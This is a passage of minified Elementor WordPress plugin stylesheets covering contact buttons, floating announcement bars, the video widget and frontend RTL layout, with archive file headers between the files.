.e-contact-buttons__contact-icon-link.active{transform:none;transition:var(--e-contact-buttons-transition)}.e-contact-buttons-var-10.has-h-alignment-end .e-contact-buttons__contact-links{align-items:flex-end;flex-direction:column}.e-contact-buttons-var-10.has-h-alignment-end .e-contact-buttons__contact-icon-container{order:1}.e-contact-buttons-var-10.has-h-alignment-end .e-contact-buttons__contact-title{order:2}.e-contact-buttons-var-10.has-h-alignment-end .e-contact-buttons__contact-icon-link{border-start-start-radius:var(--e-contact-buttons-border-radius);border-start-end-radius:0;border-end-start-radius:var(--e-contact-buttons-border-radius);border-end-end-radius:0}.e-contact-buttons-var-10.has-h-alignment-center .e-contact-buttons__contact-icon-link{flex-direction:column}.e-contact-buttons-var-10.has-h-alignment-center .e-contact-buttons__contact-title{writing-mode:vertical-lr}.e-contact-buttons-var-10.has-h-alignment-center.has-v-alignment-bottom .e-contact-buttons__contact-links{align-items:flex-end}.e-contact-buttons-var-10.has-h-alignment-center.has-v-alignment-bottom .e-contact-buttons__contact-icon-container{order:1}.e-contact-buttons-var-10.has-h-alignment-center.has-v-alignment-bottom .e-contact-buttons__contact-title{order:2}.e-contact-buttons-var-10.has-h-alignment-center.has-v-alignment-bottom .e-contact-buttons__contact-icon-link{--e-contact-buttons-margin-offset:14px;border-start-start-radius:var(--e-contact-buttons-border-radius);border-start-end-radius:var(--e-contact-buttons-border-radius);border-end-start-radius:0;border-end-end-radius:0;padding-block-start:12px;transform:translateY(calc(100% - var(--e-contact-buttons-svg-size) * 2 + var(--e-contact-buttons-margin-offset)));transition:var(--e-contact-buttons-transition)}@media (min-width:768px){.e-contact-buttons-var-10.has-h-alignment-center.has-v-alignment-bottom .e-contact-buttons__contact-icon-link:focus,.e-contact-buttons-var-10.has-h-alignment-center.has-v-alignment-bottom .e-contact-buttons__contact-icon-link:hover{transform:none;transition:var(--e-contact-buttons-transition)}}.e-contact-buttons-var-10.has-h-alignment-center.has-v-alignment-bottom .e-contact-buttons__contact-icon-link.active{transform:none;transition:var(--e-contact-buttons-transition)}.e-contact-buttons-var-10.has-h-alignment-center.has-v-alignment-bottom .e-contact-buttons__contact-icon-link.has-size-small{--e-contact-buttons-margin-offset:5px}.e-contact-buttons-var-10.has-h-alignment-center.has-v-alignment-top .e-contact-buttons__contact-links{align-items:flex-start}.e-contact-buttons-var-10.has-h-alignment-center.has-v-alignment-top .e-contact-buttons__contact-icon-container{align-items:flex-end}.e-contact-buttons-var-10.has-h-alignment-center.has-v-alignment-top .e-contact-buttons__contact-icon-link{--e-contact-buttons-margin-offset:14px;border-start-start-radius:0;border-start-end-radius:0;border-end-start-radius:var(--e-contact-buttons-border-radius);border-end-end-radius:var(--e-contact-buttons-border-radius);justify-content:flex-end;padding-block-end:12px;transform:translateY(calc(-100% + var(--e-contact-buttons-svg-size) + var(--e-contact-buttons-margin-offset)));transition:var(--e-contact-buttons-transition)}@media (min-width:768px){.e-contact-buttons-var-10.has-h-alignment-center.has-v-alignment-top .e-contact-buttons__contact-icon-link:focus,.e-contact-buttons-var-10.has-h-alignment-center.has-v-alignment-top .e-contact-buttons__contact-icon-link:hover{transform:none;transition:var(--e-contact-buttons-transition)}}.e-contact-buttons-var-10.has-h-alignment-center.has-v-alignment-top .e-contact-buttons__contact-icon-link.active{transform:none;transition:var(--e-contact-buttons-transition)}.e-floating-bars{--e-floating-bars-announcement-bg-color:#467ff7;--e-floating-bars-announcement-text-color:#fff;--e-floating-bars-announcement-icon-color:#fff;--e-floating-bars-cta-button-text-color:#fff;--e-floating-bars-cta-button-text-color-hover:#467ff7;--e-floating-bars-cta-button-bg-color:#1c2448;--e-floating-bars-cta-button-bg-color-hover:#fff;--e-floating-bars-cta-button-border-color:#1c2448;--e-floating-bars-cta-button-border-color-hover:#1c2448;--e-floating-bars-close-button-color:#fff;--e-floating-bars-announcement-icon-size:20px;--e-floating-bars-elements-padding-block-end:12px;--e-floating-bars-elements-padding-block-start:12px;--e-floating-bars-elements-padding-inline-end:16px;--e-floating-bars-elements-padding-inline-start:16px;--e-floating-bars-elements-gap:16px;--e-floating-bars-cta-corners:50px;--e-floating-bars-cta-button-border-width:2px;--e-floating-bars-cta-button-padding-block-end:8px;--e-floating-bars-cta-button-padding-block-start:8px;--e-floating-bars-cta-button-padding-inline-end:20px;--e-floating-bars-cta-button-padding-inline-start:20px;--e-floating-bars-cta-button-icon-gap:5px;--e-floating-bars-cta-button-animation-delay:500ms;--e-floating-bars-cta-button-animation-duration:1000ms;--e-floating-bars-background-overlay-opacity:0.5;--e-floating-bars-close-icon-size:24px;align-items:center;background-color:var(--e-floating-bars-announcement-bg-color);color:var(--e-floating-bars-announcement-text-color);display:flex;gap:var(--e-floating-bars-elements-gap);position:relative;padding-block-end:var(--e-floating-bars-elements-padding-block-end);padding-block-start:var(--e-floating-bars-elements-padding-block-start);padding-inline-end:var(--e-floating-bars-elements-padding-inline-end);padding-inline-start:var(--e-floating-bars-elements-padding-inline-start);width:100%;z-index:10000}@media (max-width:767px){.e-floating-bars{align-items:flex-start;display:grid;grid-template-columns:auto auto;grid-template-rows:auto auto;gap:var(--e-floating-bars-elements-gap);row-gap:16px}}.e-floating-bars:focus{outline:none}.e-floating-bars.has-vertical-position-top{inset-block-start:0}.e-floating-bars.has-vertical-position-bottom{inset-block-end:0}.e-floating-bars.is-sticky{inset-inline-end:0;inset-inline-start:0;position:fixed}.e-floating-bars.is-hidden{display:none}.e-floating-bars.has-close-button{padding-inline-end:calc(var(--e-floating-bars-elements-padding-inline-end) + 20px);padding-inline-start:calc(var(--e-floating-bars-elements-padding-inline-start) + 20px)}.e-floating-bars .has-corners-rounded{--e-floating-bars-corners:20px}.e-floating-bars .has-corners-round{--e-floating-bars-corners:50px}.e-floating-bars .has-corners-sharp{--e-floating-bars-corners:0}.e-floating-bars__announcement-text{align-items:center;color:var(--e-floating-bars-announcement-text-color);display:flex;font-size:16px;font-weight:400;height:100%;margin:0}.e-floating-bars__announcement-icon{align-items:center;color:var(--e-floating-bars-announcement-icon-color);display:flex;height:100%}.e-floating-bars__announcement-icon svg{fill:var(--e-floating-bars-announcement-icon-color);height:var(--e-floating-bars-announcement-icon-size);width:var(--e-floating-bars-announcement-icon-size)}.e-floating-bars__announcement-icon i{color:var(--e-floating-bars-announcement-icon-color);font-size:var(--e-floating-bars-announcement-icon-size)}.e-floating-bars__cta-icon{color:var(--e-floating-bars-cta-button-text-color);display:inline-flex;transition:all .3s}.e-floating-bars__cta-icon svg{fill:var(--e-floating-bars-cta-button-text-color);height:1em;transition:all .3s;width:1em}.e-floating-bars__cta-button-container{order:3}@media (max-width:767px){.e-floating-bars__cta-button-container{display:flex;grid-column:span 2/span 2;grid-row-start:2}}.e-floating-bars__cta-button,.e-floating-bars__cta-button:not([href]):not([tabindex]){align-items:center;color:var(--e-floating-bars-cta-button-text-color);display:inline-flex;font-size:16px;font-weight:700;gap:var(--e-floating-bars-cta-button-icon-gap);position:relative;transition:all .3s;white-space:nowrap}.e-floating-bars__cta-button.animated,.e-floating-bars__cta-button:not([href]):not([tabindex]).animated{animation-delay:var(--e-floating-bars-cta-button-animation-delay);animation-duration:var(--e-floating-bars-cta-button-animation-duration);animation-iteration-count:1}.e-floating-bars__cta-button.has-entrance-animation,.e-floating-bars__cta-button:not([href]):not([tabindex]).has-entrance-animation{opacity:0}.e-floating-bars__cta-button.visible,.e-floating-bars__cta-button:not([href]):not([tabindex]).visible{opacity:1}.e-floating-bars__cta-button:focus,.e-floating-bars__cta-button:focus .e-floating-bars__cta-icon,.e-floating-bars__cta-button:hover,.e-floating-bars__cta-button:hover .e-floating-bars__cta-icon,.e-floating-bars__cta-button:not([href]):not([tabindex]):focus,.e-floating-bars__cta-button:not([href]):not([tabindex]):focus .e-floating-bars__cta-icon,.e-floating-bars__cta-button:not([href]):not([tabindex]):hover,.e-floating-bars__cta-button:not([href]):not([tabindex]):hover .e-floating-bars__cta-icon{color:var(--e-floating-bars-cta-button-text-color-hover);transition:all .3s}.e-floating-bars__cta-button:focus .e-floating-bars__cta-icon svg,.e-floating-bars__cta-button:hover .e-floating-bars__cta-icon svg,.e-floating-bars__cta-button:not([href]):not([tabindex]):focus .e-floating-bars__cta-icon svg,.e-floating-bars__cta-button:not([href]):not([tabindex]):hover .e-floating-bars__cta-icon svg{fill:var(--e-floating-bars-cta-button-text-color-hover);transition:all .3s}.e-floating-bars__cta-button.has-border,.e-floating-bars__cta-button:not([href]):not([tabindex]).has-border{border:var(--e-floating-bars-cta-button-border-width) solid var(--e-floating-bars-cta-button-border-color)}.e-floating-bars__cta-button.has-border:focus,.e-floating-bars__cta-button.has-border:hover,.e-floating-bars__cta-button:not([href]):not([tabindex]).has-border:focus,.e-floating-bars__cta-button:not([href]):not([tabindex]).has-border:hover{border-color:var(--e-floating-bars-cta-button-border-color-hover)}.e-floating-bars__cta-button.is-type-button,.e-floating-bars__cta-button:not([href]):not([tabindex]).is-type-button{background-color:var(--e-floating-bars-cta-button-bg-color);border-radius:var(--e-floating-bars-corners);padding-block-end:var(--e-floating-bars-cta-button-padding-block-end);padding-block-start:var(--e-floating-bars-cta-button-padding-block-start);padding-inline-end:var(--e-floating-bars-cta-button-padding-inline-end);padding-inline-start:var(--e-floating-bars-cta-button-padding-inline-start)}.e-floating-bars__cta-button.is-type-button:focus,.e-floating-bars__cta-button.is-type-button:hover,.e-floating-bars__cta-button:not([href]):not([tabindex]).is-type-button:focus,.e-floating-bars__cta-button:not([href]):not([tabindex]).is-type-button:hover{background-color:var(--e-floating-bars-cta-button-bg-color-hover)}.e-floating-bars__cta-button.is-type-link,.e-floating-bars__cta-button:not([href]):not([tabindex]).is-type-link{text-decoration:none}.e-floating-bars__cta-button.is-type-link .e-floating-bars__cta-text,.e-floating-bars__cta-button:not([href]):not([tabindex]).is-type-link .e-floating-bars__cta-text{text-decoration:underline}.e-floating-bars__close-button,.e-floating-bars__close-button[type=button]{align-items:center;display:flex;position:absolute}.e-floating-bars__close-button[type=button] i,.e-floating-bars__close-button i{font-size:var(--e-floating-bars-close-icon-size)}@media (max-width:767px){.e-floating-bars__close-button,.e-floating-bars__close-button[type=button]{top:10px}}.e-floating-bars__close-button,.e-floating-bars__close-button:focus,.e-floating-bars__close-button:hover,.e-floating-bars__close-button[type=button],.e-floating-bars__close-button[type=button]:focus,.e-floating-bars__close-button[type=button]:hover{background-color:transparent;border:0;color:var(--e-floating-bars-close-button-color);padding:0}.e-floating-bars__close-button:focus i,.e-floating-bars__close-button:hover i,.e-floating-bars__close-button[type=button]:focus i,.e-floating-bars__close-button[type=button]:hover i,.e-floating-bars__close-button[type=button] i,.e-floating-bars__close-button i{color:var(--e-floating-bars-close-button-color)}.e-floating-bars__overlay{background-position:50%;background-size:cover;height:100%;inset-block-end:0;inset-block-start:0;inset-inline-end:0;inset-inline-start:0;opacity:var(--e-floating-bars-background-overlay-opacity);position:absolute;width:100%;z-index:-1}.e-con.e-con--floating-bars,.e-con:has(.e-floating-bars){padding:0}.e-con.e-con--floating-bars>.e-con-inner,.e-con.e-con--floating-bars>.e-con-inner.e-con-inner--floating-bars,.e-con:has(.e-floating-bars)>.e-con-inner,.e-con:has(.e-floating-bars)>.e-con-inner.e-con-inner--floating-bars{max-width:unset;padding-block-end:0;padding-block-start:0}.e-floating-bars-var-2{--e-floating-bars-announcement-bg-color:#fff;--e-floating-bars-headline-text-color:#1c2448;--e-floating-bars-headline-text-color-hover:#467ff7;--e-floating-bars-headline-icon-color:#467ff7;--e-floating-bars-pause-play-icon-color:#495157;--e-floating-bars-pause-play-bg-color:#f3f5f8;--e-floating-bars-close-button-bg-color:#1c2448;--e-floating-bars-headlines-gap:16px;--e-floating-bars-headline-icon-size:16px;--e-floating-bars-vertical-padding:16px;--e-floating-bars-headline-icon-position:row;--e-floating-bars-controls-icon-size:16px;--e-floating-bars-scroll-duration:100s;--e-floating-bars-scroll-direction:forwards;--e-floating-bars-ticker-controls-order:1;--e-floating-bars-headline-icon-gap:10px;align-items:stretch;gap:0;padding:0}.e-floating-bars-var-2.has-close-button{padding:0}.e-floating-bars-var-2 .e-floating-bars__headlines{display:flex;flex-grow:1;gap:var(--e-floating-bars-headlines-gap);max-width:100vw;padding-block:var(--e-floating-bars-vertical-padding)}.e-floating-bars-var-2 .e-floating-bars__headlines-inner{display:flex;gap:var(--e-floating-bars-headlines-gap);flex-wrap:nowrap;width:-moz-max-content;width:max-content;z-index:1}.e-floating-bars-var-2 .e-floating-bars__headlines[data-animated=true]{overflow:hidden}.e-floating-bars-var-2 .e-floating-bars__headlines[data-animated=true] .e-floating-bars__headlines-inner{animation:scroll var(--e-floating-bars-scroll-duration) var(--e-floating-bars-scroll-direction) linear infinite}[dir=rtl] .e-floating-bars-var-2 .e-floating-bars__headlines[data-animated=true] .e-floating-bars__headlines-inner{animation:scroll-reverse var(--e-floating-bars-scroll-duration) var(--e-floating-bars-scroll-direction) linear infinite}.e-floating-bars-var-2 .e-floating-bars__headlines[data-animated=true].has-pause-hover:hover .e-floating-bars__headlines-inner,.e-floating-bars-var-2 .e-floating-bars__headlines[data-animated=true].is-paused .e-floating-bars__headlines-inner{animation-play-state:paused}.e-floating-bars-var-2 .e-floating-bars__headline,.e-floating-bars-var-2 .e-floating-bars__headline:not([href]):not([tabindex]){align-items:center;color:var(--e-floating-bars-headline-text-color);display:flex;flex-direction:var(--e-floating-bars-headline-icon-position);gap:var(--e-floating-bars-headline-icon-gap);position:relative;width:-moz-max-content;width:max-content;z-index:1}.e-floating-bars-var-2 .e-floating-bars__headline:focus,.e-floating-bars-var-2 .e-floating-bars__headline:hover,.e-floating-bars-var-2 .e-floating-bars__headline:not([href]):not([tabindex]):focus,.e-floating-bars-var-2 .e-floating-bars__headline:not([href]):not([tabindex]):hover{color:var(--e-floating-bars-headline-text-color-hover)}.e-floating-bars-var-2 .e-floating-bars__headline-icon{color:var(--e-floating-bars-headline-icon-color);display:flex}.e-floating-bars-var-2 .e-floating-bars__headline-icon svg{fill:var(--e-floating-bars-headline-icon-color);height:var(--e-floating-bars-headline-icon-size);width:var(--e-floating-bars-headline-icon-size)}.e-floating-bars-var-2 .e-floating-bars__headline-icon i{color:var(--e-floating-bars-headline-icon-color);font-size:var(--e-floating-bars-headline-icon-size)}.e-floating-bars-var-2 .e-floating-bars__ticker-controls{align-items:stretch;display:flex}.e-floating-bars-var-2 .e-floating-bars__pause-button,.e-floating-bars-var-2 .e-floating-bars__play-button{align-items:center;background-color:var(--e-floating-bars-pause-play-bg-color);border:0;border-radius:0;color:var(--e-floating-bars-pause-play-icon-color);display:flex;justify-content:center;padding:16px;width:100%;z-index:1}.e-floating-bars-var-2 .e-floating-bars__pause-button svg,.e-floating-bars-var-2 .e-floating-bars__play-button svg{fill:var(--e-floating-bars-pause-play-icon-color);height:var(--e-floating-bars-controls-icon-size);width:var(--e-floating-bars-controls-icon-size)}.e-floating-bars-var-2 .e-floating-bars__pause-button i,.e-floating-bars-var-2 .e-floating-bars__play-button i{color:var(--e-floating-bars-pause-play-icon-color);font-size:var(--e-floating-bars-controls-icon-size)}.e-floating-bars-var-2 .e-floating-bars__pause-button[aria-hidden=true],.e-floating-bars-var-2 .e-floating-bars__play-button[aria-hidden=true]{display:none}.e-floating-bars-var-2 .e-floating-bars__close-button,.e-floating-bars-var-2 .e-floating-bars__close-button[type=button]{align-items:center;align-self:stretch!important;background-color:var(--e-floating-bars-close-button-bg-color);border-radius:0;inset-inline-end:unset!important;inset-inline-start:unset!important;order:var(--e-floating-bars-ticker-controls-order);padding-inline:12px;position:relative;top:unset!important;z-index:1}.e-floating-bars-var-2 .e-floating-bars__close-button[type=button] i,.e-floating-bars-var-2 .e-floating-bars__close-button i{font-size:var(--e-floating-bars-controls-icon-size)}.e-floating-bars-var-2 .e-floating-bars__play-pause-controls{align-items:stretch;display:flex;position:relative}.e-floating-bars-var-2 .e-floating-bars__overlay{z-index:0}.e-floating-bars-var-2 .e-floating-bars__ticker-controls{order:var(--e-floating-bars-ticker-controls-order)}@keyframes scroll{to{transform:translate(-100%)}}@keyframes scroll-reverse{to{transform:translate(100%)}}.e-floating-bars-var-3{--e-floating-bars-announcement-bg-color:#cdd9df;--e-floating-bars-announcement-text-color:#1c2448;--e-floating-bars-announcement-icon-color:#1c2448;--e-floating-bars-close-button-color:#1c2448;--e-floating-bars-coupon-button-color:#467ff7;--e-floating-bars-coupon-bg-color:#fff;--e-floating-bars-coupon-border-color:#467ff7;--e-floating-bars-coupon-icon-gap:5px;--e-floating-bars-coupon-border-width:2px;--e-floating-bars-coupon-padding-block-end:8px;--e-floating-bars-coupon-padding-block-start:8px;--e-floating-bars-coupon-padding-inline-end:20px;--e-floating-bars-coupon-padding-inline-start:20px;--e-floating-bars-coupon-animation-delay:500ms;--e-floating-bars-coupon-animation-duration:1000ms;--e-floating-bars-coupon-width:initial;--e-floating-bars-coupon-height:initial}.e-floating-bars-var-3 .e-floating-bars__coupon-button{align-items:center;border:0;border-radius:0;color:var(--e-floating-bars-coupon-button-color);display:flex;height:var(--e-floating-bars-coupon-height);justify-content:center;order:3;padding-block-end:var(--e-floating-bars-coupon-padding-block-end);padding-block-start:var(--e-floating-bars-coupon-padding-block-start);padding-inline-end:var(--e-floating-bars-coupon-padding-inline-end);padding-inline-start:var(--e-floating-bars-coupon-padding-inline-start);position:relative;width:var(--e-floating-bars-coupon-width)}.e-floating-bars-var-3 .e-floating-bars__coupon-button,.e-floating-bars-var-3 .e-floating-bars__coupon-button:focus,.e-floating-bars-var-3 .e-floating-bars__coupon-button:hover{background-color:var(--e-floating-bars-coupon-bg-color)}.e-floating-bars-var-3 .e-floating-bars__coupon-button.animated{animation-delay:var(--e-floating-bars-coupon-animation-delay);animation-duration:var(--e-floating-bars-coupon-animation-duration);animation-iteration-count:1}.e-floating-bars-var-3 .e-floating-bars__coupon-button.has-entrance-animation{opacity:0}.e-floating-bars-var-3 .e-floating-bars__coupon-button.visible{opacity:1}.e-floating-bars-var-3 .e-floating-bars__coupon-button.has-border.is-type-cutout{border:var(--e-floating-bars-coupon-border-width) dashed var(--e-floating-bars-coupon-border-color)}.e-floating-bars-var-3 .e-floating-bars__coupon-button.is-type-text{--e-floating-bars-coupon-padding-block-end:0;--e-floating-bars-coupon-padding-block-start:0;--e-floating-bars-coupon-padding-inline-end:0;--e-floating-bars-coupon-padding-inline-start:0;--e-floating-bars-coupon-border-width:0;--e-floating-bars-coupon-bg-color:transparent}.e-floating-bars-var-3 .e-floating-bars__coupon-button.is-type-gift-tag,.e-floating-bars-var-3 .e-floating-bars__coupon-button.is-type-price-tag,.e-floating-bars-var-3 .e-floating-bars__coupon-button.is-type-round-ticket,.e-floating-bars-var-3 .e-floating-bars__coupon-button.is-type-square-ticket{--e-floating-bars-coupon-padding-block-end:8px;--e-floating-bars-coupon-padding-block-start:8px;--e-floating-bars-coupon-padding-inline-end:20px;--e-floating-bars-coupon-padding-inline-start:20px;background-color:transparent}.e-floating-bars-var-3 .e-floating-bars__coupon-button.is-type-gift-tag,.e-floating-bars-var-3 .e-floating-bars__coupon-button.is-type-price-tag{padding-inline-start:calc(var(--e-floating-bars-coupon-padding-inline-start) + 1.5em)}[dir=rtl] .e-floating-bars-var-3 .e-floating-bars__coupon-button.is-type-gift-tag .e-floating-bars__shape,[dir=rtl] .e-floating-bars-var-3 .e-floating-bars__coupon-button.is-type-price-tag .e-floating-bars__shape{transform:rotate(180deg)}.e-floating-bars-var-3 .e-floating-bars__coupon-button.is-type-round-ticket,.e-floating-bars-var-3 .e-floating-bars__coupon-button.is-type-square-ticket{padding-inline:calc(var(--e-floating-bars-coupon-padding-inline-start) + .5em)}.e-floating-bars-var-3 .e-floating-bars__coupon-button.has-border .shape{stroke-width:var(--e-floating-bars-coupon-border-width);stroke:var(--e-floating-bars-coupon-border-color)}@media (max-width:767px){.e-floating-bars-var-3 .e-floating-bars__coupon-button{display:flex;grid-column:span 2/span 2;grid-row-start:2;justify-content:center}}.e-floating-bars-var-3 .e-floating-bars__shape{left:0;position:absolute;z-index:-1}.e-floating-bars-var-3 .e-floating-bars__shape .path{fill:var(--e-floating-bars-coupon-bg-color)}.e-floating-bars-var-3 .e-floating-bars__shape .circle{fill:var(--e-floating-bars-announcement-bg-color)}.e-floating-bars-var-3 .e-floating-bars__shape:not(:root){overflow:visible!important}.e-floating-bars-var-3 .e-floating-bars__coupon-icon{color:var(--e-floating-bars-coupon-button-color);display:flex}.e-floating-bars-var-3 .e-floating-bars__coupon-icon svg{fill:var(--e-floating-bars-coupon-button-color);height:1em;width:1em}.e-floating-bars-var-3 .e-floating-bars__coupon-text-group{align-items:center;display:flex;gap:var(--e-floating-bars-coupon-icon-gap)}.e-floating-bars-var-3 .e-floating-bars__coupon-text-group.is-hidden{display:none}assets/css/widget-video.min.css000064400000003514147206604650012536 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-widget-video .elementor-widget-container{overflow:hidden;transform:translateZ(0)}.elementor-widget-video .elementor-wrapper{aspect-ratio:var(--video-aspect-ratio)}.elementor-widget-video .elementor-wrapper iframe,.elementor-widget-video .elementor-wrapper video{height:100%;width:100%;display:flex;border:none;background-color:#000}@supports not (aspect-ratio:1/1){.elementor-widget-video .elementor-wrapper{position:relative;overflow:hidden;height:0;padding-bottom:calc(100% / var(--video-aspect-ratio))}.elementor-widget-video .elementor-wrapper iframe,.elementor-widget-video .elementor-wrapper video{position:absolute;top:0;right:0;bottom:0;left:0}}.elementor-widget-video .elementor-open-inline .elementor-custom-embed-image-overlay{position:absolute;top:0;right:0;bottom:0;left:0;background-size:cover;background-position:50%}.elementor-widget-video .elementor-custom-embed-image-overlay{cursor:pointer;text-align:center}.elementor-widget-video .elementor-custom-embed-image-overlay:hover .elementor-custom-embed-play i{opacity:1}.elementor-widget-video .elementor-custom-embed-image-overlay img{display:block;width:100%;aspect-ratio:var(--video-aspect-ratio);-o-object-fit:cover;object-fit:cover;-o-object-position:center center;object-position:center center}@supports not (aspect-ratio:1/1){.elementor-widget-video .elementor-custom-embed-image-overlay{position:relative;overflow:hidden;height:0;padding-bottom:calc(100% / var(--video-aspect-ratio))}.elementor-widget-video .elementor-custom-embed-image-overlay img{position:absolute;top:0;right:0;bottom:0;left:0}}.elementor-widget-video .e-hosted-video .elementor-video{-o-object-fit:cover;object-fit:cover}.e-con-inner>.elementor-widget-video,.e-con>.elementor-widget-video{width:var(--container-widget-width);--flex-grow:var(--container-widget-flex-grow)}assets/css/frontend-rtl.min.css000064400000166454147206604650012602 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-hidden{display:none}.elementor-visibility-hidden{visibility:hidden}.elementor-screen-only,.screen-reader-text,.screen-reader-text span,.ui-helper-hidden-accessible{position:absolute;top:-10000em;width:1px;height:1px;margin:-1px;padding:0;overflow:hidden;clip:rect(0,0,0,0);border:0}.elementor-clearfix:after{content:"";display:block;clear:both;width:0;height:0}.e-logo-wrapper{background:var(--e-a-bg-logo);display:inline-block;padding:.75em;border-radius:50%;line-height:1}.e-logo-wrapper i{color:var(--e-a-color-logo);font-size:1em}.elementor *,.elementor :after,.elementor :before{box-sizing:border-box}.elementor a{box-shadow:none;text-decoration:none}.elementor hr{margin:0;background-color:transparent}.elementor img{height:auto;max-width:100%;border:none;border-radius:0;box-shadow:none}.elementor .elementor-widget:not(.elementor-widget-text-editor):not(.elementor-widget-theme-post-content) figure{margin:0}.elementor embed,.elementor iframe,.elementor object,.elementor video{max-width:100%;width:100%;margin:0;line-height:1;border:none}.elementor .elementor-background,.elementor .elementor-background-holder,.elementor .elementor-background-video-container{height:100%;width:100%;top:0;left:0;position:absolute;overflow:hidden;z-index:0;direction:ltr}.elementor .elementor-background-video-container{transition:opacity 1s;pointer-events:none}.elementor .elementor-background-video-container.elementor-loading{opacity:0}.elementor .elementor-background-video-embed{max-width:none}.elementor .elementor-background-video,.elementor .elementor-background-video-embed,.elementor .elementor-background-video-hosted{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%)}.elementor .elementor-background-video{max-width:none}.elementor .elementor-html5-video{-o-object-fit:cover;object-fit:cover}.elementor .elementor-background-overlay{height:100%;width:100%;top:0;left:0;position:absolute}.elementor .elementor-background-slideshow{position:absolute;width:100%;height:100%;z-index:0;top:0;right:0}.elementor .elementor-background-slideshow__slide__image{width:100%;height:100%;background-position:50%;background-size:cover}.e-con-inner>.elementor-element.elementor-absolute,.e-con>.elementor-element.elementor-absolute,.elementor-widget-wrap>.elementor-element.elementor-absolute{position:absolute}.e-con-inner>.elementor-element.elementor-fixed,.e-con>.elementor-element.elementor-fixed,.elementor-widget-wrap>.elementor-element.elementor-fixed{position:fixed}.elementor-widget-wrap .elementor-element.elementor-widget__width-auto,.elementor-widget-wrap .elementor-element.elementor-widget__width-initial{max-width:100%}@media (max-width:1024px){.elementor-widget-wrap .elementor-element.elementor-widget-tablet__width-auto,.elementor-widget-wrap .elementor-element.elementor-widget-tablet__width-initial{max-width:100%}}@media (max-width:767px){.elementor-widget-wrap .elementor-element.elementor-widget-mobile__width-auto,.elementor-widget-wrap .elementor-element.elementor-widget-mobile__width-initial{max-width:100%}}.elementor-element{--flex-direction:initial;--flex-wrap:initial;--justify-content:initial;--align-items:initial;--align-content:initial;--gap:initial;--flex-basis:initial;--flex-grow:initial;--flex-shrink:initial;--order:initial;--align-self:initial;flex-basis:var(--flex-basis);flex-grow:var(--flex-grow);flex-shrink:var(--flex-shrink);order:var(--order);align-self:var(--align-self)}.elementor-element.elementor-absolute,.elementor-element.elementor-fixed{z-index:1}.elementor-element:where(.e-con-full,.elementor-widget){flex-direction:var(--flex-direction);flex-wrap:var(--flex-wrap);justify-content:var(--justify-content);align-items:var(--align-items);align-content:var(--align-content);gap:var(--gap)}.elementor-invisible{visibility:hidden}.elementor-align-center{text-align:center}.elementor-align-center .elementor-button{width:auto}.elementor-align-right{text-align:right}.elementor-align-right .elementor-button{width:auto}.elementor-align-left{text-align:left}.elementor-align-left .elementor-button{width:auto}.elementor-align-justify .elementor-button{width:100%}.elementor-custom-embed-play{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%)}.elementor-custom-embed-play i{font-size:100px;color:#fff;text-shadow:1px 0 6px rgba(0,0,0,.3)}.elementor-custom-embed-play svg{height:100px;width:100px;fill:#fff;filter:drop-shadow(1px 0 6px rgba(0,0,0,.3))}.elementor-custom-embed-play i,.elementor-custom-embed-play svg{opacity:.8;transition:all .5s}.elementor-custom-embed-play.elementor-playing i{font-family:eicons}.elementor-custom-embed-play.elementor-playing i:before{content:"\e8fb"}.elementor-custom-embed-play.elementor-playing i,.elementor-custom-embed-play.elementor-playing svg{animation:eicon-spin 2s linear infinite}.elementor-tag{display:inline-flex}.elementor-ken-burns{transition-property:transform;transition-duration:10s;transition-timing-function:linear}.elementor-ken-burns--out{transform:scale(1.3)}.elementor-ken-burns--active{transition-duration:20s}.elementor-ken-burns--active.elementor-ken-burns--out{transform:scale(1)}.elementor-ken-burns--active.elementor-ken-burns--in{transform:scale(1.3)}@media (min-width:-1){.elementor-widescreen-align-center{text-align:center}.elementor-widescreen-align-center .elementor-button{width:auto}.elementor-widescreen-align-right{text-align:right}.elementor-widescreen-align-right .elementor-button{width:auto}.elementor-widescreen-align-left{text-align:left}.elementor-widescreen-align-left .elementor-button{width:auto}.elementor-widescreen-align-justify .elementor-button{width:100%}}@media (max-width:-1){.elementor-laptop-align-center{text-align:center}.elementor-laptop-align-center .elementor-button{width:auto}.elementor-laptop-align-right{text-align:right}.elementor-laptop-align-right .elementor-button{width:auto}.elementor-laptop-align-left{text-align:left}.elementor-laptop-align-left .elementor-button{width:auto}.elementor-laptop-align-justify .elementor-button{width:100%}}@media (max-width:-1){.elementor-tablet_extra-align-center{text-align:center}.elementor-tablet_extra-align-center .elementor-button{width:auto}.elementor-tablet_extra-align-right{text-align:right}.elementor-tablet_extra-align-right .elementor-button{width:auto}.elementor-tablet_extra-align-left{text-align:left}.elementor-tablet_extra-align-left .elementor-button{width:auto}.elementor-tablet_extra-align-justify .elementor-button{width:100%}}@media (max-width:1024px){.elementor-tablet-align-center{text-align:center}.elementor-tablet-align-center .elementor-button{width:auto}.elementor-tablet-align-right{text-align:right}.elementor-tablet-align-right .elementor-button{width:auto}.elementor-tablet-align-left{text-align:left}.elementor-tablet-align-left .elementor-button{width:auto}.elementor-tablet-align-justify .elementor-button{width:100%}}@media (max-width:-1){.elementor-mobile_extra-align-center{text-align:center}.elementor-mobile_extra-align-center .elementor-button{width:auto}.elementor-mobile_extra-align-right{text-align:right}.elementor-mobile_extra-align-right .elementor-button{width:auto}.elementor-mobile_extra-align-left{text-align:left}.elementor-mobile_extra-align-left .elementor-button{width:auto}.elementor-mobile_extra-align-justify .elementor-button{width:100%}}@media (max-width:767px){.elementor-mobile-align-center{text-align:center}.elementor-mobile-align-center .elementor-button{width:auto}.elementor-mobile-align-right{text-align:right}.elementor-mobile-align-right .elementor-button{width:auto}.elementor-mobile-align-left{text-align:left}.elementor-mobile-align-left .elementor-button{width:auto}.elementor-mobile-align-justify .elementor-button{width:100%}}:root{--page-title-display:block}.elementor-page-title,h1.entry-title{display:var(--page-title-display)}@keyframes eicon-spin{0%{transform:rotate(0deg)}to{transform:rotate(359deg)}}.eicon-animation-spin{animation:eicon-spin 2s linear infinite}.elementor-section{position:relative}.elementor-section .elementor-container{display:flex;margin-right:auto;margin-left:auto;position:relative}@media (max-width:1024px){.elementor-section 